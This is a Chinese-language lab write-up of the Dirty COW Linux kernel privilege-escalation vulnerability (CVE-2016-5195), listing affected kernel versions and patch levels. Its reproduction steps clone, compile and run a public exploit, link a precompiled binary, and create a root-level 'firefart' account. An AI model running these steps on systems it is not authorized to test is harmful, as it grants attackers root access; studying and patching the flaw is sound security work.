一、漏洞描述
脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。
漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
二、漏洞危害
低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权
三、影响范围
(如果你的内核版本低于以下版本,则还存在此漏洞):
-
CentOS7.2——3.10.0-327-测试成功
,高于其版本不受影响 -
CentOS6.8——2.6.32-642-测试成功
,高于其版本不受影响
Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
四、漏洞复现
- 创建虚拟机环境,此处测试使用:
CentOS7.2
- 镜像下载:传送门
- 本地编译脏牛脚本
- 下载脚本:
git clone https://github.com/firefart/dirtycow.git
- 编译脚本:
gcc -pthread dirty.c -o dirty -lcrypt
- 使用脚本:
./dirty
- 已编译完成:
https://tragic52.github.io/Attack/dirty
- 下载脚本:
- 基本使用,创建具备管理权限的账户
firefart
- 切换到新的账户,并且为先前的账户添加管理权限,最后再恢复备份文件
- 为用户添加管理权限
五、效果总结
- 通过脏牛脚本,成功在Linux系统上由低权限用户变成了高权限用户。由此,攻击者便可以进行更多的操作~~~
六、补充资料
-
Linux提权审计脚本:https://github.com/The-Z-Labs/linux-exploit-suggester
-
Linux-SUID提权脚本:https://github.com/Jewel591/suidcheck
-
Linux自动提权工具(比较局限,centos8、polkit组件): https://github.com/liamg/traitor
-
参考链接: